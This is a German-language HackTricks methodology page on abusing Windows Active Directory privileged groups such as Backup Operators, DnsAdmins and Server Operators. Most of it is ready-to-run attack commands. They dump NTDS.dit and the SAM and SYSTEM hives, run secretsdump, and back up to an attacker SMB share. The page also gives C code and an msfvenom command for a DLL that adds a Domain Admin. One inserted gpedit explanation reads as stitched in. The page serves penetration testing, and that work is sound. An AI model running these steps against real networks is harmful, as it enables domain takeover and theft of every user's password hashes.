hacktricks/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md
2024-02-10 15:36:32 +00:00

18 KiB

Privilegierte Gruppen

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Bekannte Gruppen mit Administrationsrechten

  • Administratoren
  • Domänen-Administratoren
  • Unternehmens-Administratoren

Account-Betreiber

Diese Gruppe ist berechtigt, Konten und Gruppen zu erstellen, die keine Administratoren in der Domäne sind. Darüber hinaus ermöglicht es die lokale Anmeldung am Domänencontroller (DC).

Um die Mitglieder dieser Gruppe zu identifizieren, wird der folgende Befehl ausgeführt:

Get-NetGroupMember -Identity "Account Operators" -Recurse

Das Hinzufügen neuer Benutzer ist erlaubt, ebenso wie die lokale Anmeldung bei DC01.

AdminSDHolder-Gruppe

Die Access Control List (ACL) der AdminSDHolder-Gruppe ist entscheidend, da sie Berechtigungen für alle "geschützten Gruppen" in Active Directory festlegt, einschließlich hochprivilegierter Gruppen. Dieser Mechanismus gewährleistet die Sicherheit dieser Gruppen, indem unbefugte Änderungen verhindert werden.

Ein Angreifer könnte dies ausnutzen, indem er die ACL der AdminSDHolder-Gruppe ändert und einem Standardbenutzer volle Berechtigungen gewährt. Dadurch hätte dieser Benutzer effektive Kontrolle über alle geschützten Gruppen. Wenn die Berechtigungen dieses Benutzers geändert oder entfernt werden, werden sie aufgrund des Systemdesigns innerhalb einer Stunde automatisch wiederhergestellt.

Befehle zur Überprüfung der Mitglieder und zur Änderung der Berechtigungen sind:

Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}

Ein Skript steht zur Verfügung, um den Wiederherstellungsprozess zu beschleunigen: Invoke-ADSDPropagation.ps1.

Weitere Details finden Sie unter ired.team.

AD-Papierkorb

Die Mitgliedschaft in dieser Gruppe ermöglicht das Lesen gelöschter Active Directory-Objekte, was sensible Informationen offenlegen kann:

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

Zugriff auf den Domänencontroller

Der Zugriff auf Dateien auf dem DC ist eingeschränkt, es sei denn, der Benutzer gehört zur Gruppe "Server Operators", was das Zugriffsniveau ändert.

Privilege Escalation

Mit PsService oder sc von Sysinternals kann man Service-Berechtigungen inspizieren und ändern. Die Gruppe "Server Operators" hat beispielsweise volle Kontrolle über bestimmte Dienste, was die Ausführung beliebiger Befehle und Privilege Escalation ermöglicht:

C:\> .\PsService.exe security AppReadiness

Dieser Befehl zeigt, dass Server Operators vollen Zugriff haben und somit die Manipulation von Diensten für erhöhte Privilegien ermöglichen.

Backup-Betreiber

Die Mitgliedschaft in der Gruppe Backup-Betreiber gewährt Zugriff auf das Dateisystem von DC01 aufgrund der SeBackup- und SeRestore-Privilegien. Diese Privilegien ermöglichen das Durchsuchen von Ordnern, das Auflisten von Dateien und das Kopieren von Dateien, auch ohne explizite Berechtigungen, unter Verwendung des Flags FILE_FLAG_BACKUP_SEMANTICS. Für diesen Vorgang sind spezifische Skripte erforderlich.

Um die Mitglieder der Gruppe aufzulisten, führen Sie aus:

Get-NetGroupMember -Identity "Backup Operators" -Recurse

Lokaler Angriff

Um diese Berechtigungen lokal zu nutzen, werden die folgenden Schritte durchgeführt:

  1. Importieren der erforderlichen Bibliotheken:
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
  1. Aktivieren und überprüfen Sie SeBackupPrivilege:
Um `SeBackupPrivilege` zu aktivieren, führen Sie die folgenden Schritte aus:

1. Öffnen Sie die Gruppenrichtlinienverwaltung (`gpedit.msc`).
2. Navigieren Sie zu "Computerkonfiguration" > "Windows-Einstellungen" > "Sicherheitseinstellungen" > "Lokale Richtlinien" > "Zuweisen von Benutzerrechten".
3. Doppelklicken Sie auf "Sicherungsvorgänge durchführen".
4. Klicken Sie auf "Hinzufügen".
5. Geben Sie den Benutzernamen oder die Gruppe ein, der/die das `SeBackupPrivilege` erhalten soll.
6. Klicken Sie auf "OK" und schließen Sie die Gruppenrichtlinienverwaltung.

Um zu überprüfen, ob `SeBackupPrivilege` aktiviert ist, können Sie das Tool `whoami` verwenden. Führen Sie den folgenden Befehl aus:

whoami /priv


Suchen Sie in der Ausgabe nach `SeBackupPrivilege`. Wenn es aufgelistet ist, ist es aktiviert.
Set-SeBackupPrivilege
Get-SeBackupPrivilege
  1. Auf Dateien in eingeschränkten Verzeichnissen zugreifen und kopieren, zum Beispiel:
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite

AD-Angriff

Direkter Zugriff auf das Dateisystem des Domain Controllers ermöglicht den Diebstahl der NTDS.dit-Datenbank, die alle NTLM-Hashes für Domänenbenutzer und -computer enthält.

Verwendung von diskshadow.exe

  1. Erstellen Sie eine Schattenkopie des Laufwerks C:
diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit
  1. Kopieren Sie NTDS.dit aus dem Schattenkopie:
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

Alternativ können Sie robocopy zum Kopieren von Dateien verwenden:

robocopy /B F:\Windows\NTDS .\ntds ntds.dit
  1. Extrahiere SYSTEM und SAM zur Hash-Wiederherstellung:
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
  1. Holen Sie alle Hashes aus NTDS.dit ab:
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

Verwendung von wbadmin.exe

  1. Richten Sie das NTFS-Dateisystem für den SMB-Server auf dem Angreiferrechner ein und speichern Sie die SMB-Anmeldeinformationen im Zwischenspeicher des Zielrechners.
  2. Verwenden Sie wbadmin.exe für die Systemsicherung und die Extraktion von NTDS.dit:
net use X: \\<Angriffs-IP>\Freigabename /user:smbuser Passwort
echo "Y" | wbadmin start backup -backuptarget:\\<Angriffs-IP>\Freigabename -include:c:\windows\ntds
wbadmin get versions
echo "Y" | wbadmin start recovery -version:<Datum-Zeit> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl

Für eine praktische Demonstration siehe DEMO-VIDEO MIT IPPSEC.

DnsAdmins

Mitglieder der Gruppe DnsAdmins können ihre Privilegien ausnutzen, um eine beliebige DLL mit SYSTEM-Privilegien auf einem DNS-Server zu laden, der häufig auf Domänencontrollern gehostet wird. Diese Fähigkeit bietet erhebliches Ausbeutungspotenzial.

Um die Mitglieder der Gruppe DnsAdmins aufzulisten, verwenden Sie:

Get-NetGroupMember -Identity "DnsAdmins" -Recurse

Ausführung beliebiger DLL-Dateien

Mit Befehlen wie den folgenden können Mitglieder den DNS-Server dazu bringen, eine beliebige DLL-Datei (entweder lokal oder von einem Remote-Share) zu laden:

dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
// Modify DLL to add user
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll

Das Neustarten des DNS-Dienstes (was möglicherweise zusätzliche Berechtigungen erfordert) ist erforderlich, damit die DLL geladen werden kann:

sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns

Für weitere Details zu diesem Angriffsvektor siehe ired.team.

Mimilib.dll

Es ist auch möglich, mimilib.dll für die Ausführung von Befehlen zu verwenden, indem sie modifiziert wird, um spezifische Befehle oder Reverse Shells auszuführen. Weitere Informationen finden Sie in diesem Beitrag.

WPAD-Eintrag für MitM

DnsAdmins können DNS-Einträge manipulieren, um Man-in-the-Middle (MitM)-Angriffe durchzuführen, indem sie nach Deaktivierung der globalen Abfrageblockierungsliste einen WPAD-Eintrag erstellen. Tools wie Responder oder Inveigh können zum Spoofing und zur Erfassung des Netzwerkverkehrs verwendet werden.

Ereignisprotokoll-Leser

Mitglieder können auf Ereignisprotokolle zugreifen und potenziell sensible Informationen wie Klartext-Passwörter oder Details zur Befehlsausführung finden:

# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}

Exchange Windows-Berechtigungen

Diese Gruppe kann DACLs (Discretionary Access Control Lists) am Domänenobjekt ändern und potenziell DCSync-Berechtigungen gewähren. Techniken zur Privileg-Eskalation, die diese Gruppe ausnutzen, werden im Exchange-AD-Privesc GitHub-Repository detailliert beschrieben.

# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse

Hyper-V-Administratoren

Hyper-V-Administratoren haben vollen Zugriff auf Hyper-V, was ausgenutzt werden kann, um die Kontrolle über virtualisierte Domänencontroller zu erlangen. Dies beinhaltet das Klonen von aktiven DCs und das Extrahieren von NTLM-Hashes aus der NTDS.dit-Datei.

Beispiel für Ausnutzung

Der Mozilla Maintenance Service von Firefox kann von Hyper-V-Administratoren ausgenutzt werden, um Befehle als SYSTEM auszuführen. Dies beinhaltet das Erstellen eines Hardlinks zu einer geschützten SYSTEM-Datei und das Ersetzen dieser Datei durch eine bösartige ausführbare Datei:

# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance

Hinweis: Die Ausnutzung von Hardlinks wurde in aktuellen Windows-Updates abgeschwächt.

Organisation Management

In Umgebungen, in denen Microsoft Exchange eingesetzt wird, verfügt eine spezielle Gruppe namens Organization Management über erhebliche Fähigkeiten. Diese Gruppe ist berechtigt, auf die Postfächer aller Domänenbenutzer zuzugreifen und hat volle Kontrolle über die Organisationseinheit (OU) 'Microsoft Exchange Security Groups'. Diese Kontrolle umfasst die Gruppe Exchange Windows Permissions, die für Privileg-Eskalation ausgenutzt werden kann.

Ausnutzung von Privilegien und Befehle

Druckoperatoren

Mitglieder der Gruppe Druckoperatoren verfügen über mehrere Privilegien, darunter das Privileg SeLoadDriverPrivilege, das es ihnen ermöglicht, sich lokal bei einem Domänencontroller anzumelden, ihn herunterzufahren und Drucker zu verwalten. Um diese Privilegien auszunutzen, insbesondere wenn SeLoadDriverPrivilege unter einem nicht erhöhten Kontext nicht sichtbar ist, ist es erforderlich, die Benutzerkontensteuerung (UAC) zu umgehen.

Um die Mitglieder dieser Gruppe aufzulisten, wird der folgende PowerShell-Befehl verwendet:

Get-NetGroupMember -Identity "Print Operators" -Recurse

Für detailliertere Exploitationstechniken im Zusammenhang mit SeLoadDriverPrivilege sollte man spezifische Sicherheitsressourcen konsultieren.

Remote Desktop-Benutzer

Die Mitglieder dieser Gruppe haben Zugriff auf PCs über das Remote Desktop Protocol (RDP). Um diese Mitglieder aufzulisten, stehen PowerShell-Befehle zur Verfügung:

Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"

Weitere Einblicke in die Ausnutzung von RDP finden Sie in speziellen Pentesting-Ressourcen.

Remote-Verwaltungsbenutzer

Mitglieder können auf PCs über die Windows Remote-Verwaltung (WinRM) zugreifen. Die Aufzählung dieser Mitglieder erfolgt über:

Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"

Für Exploitation-Techniken im Zusammenhang mit WinRM sollte spezifische Dokumentation konsultiert werden.

Server Operators

Diese Gruppe hat Berechtigungen, um verschiedene Konfigurationen auf Domain Controllern durchzuführen, einschließlich Backup- und Wiederherstellungsrechten, Ändern der Systemzeit und Herunterfahren des Systems. Um die Mitglieder aufzulisten, wird der folgende Befehl verwendet:

Get-NetGroupMember -Identity "Server Operators" -Recurse

Referenzen

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: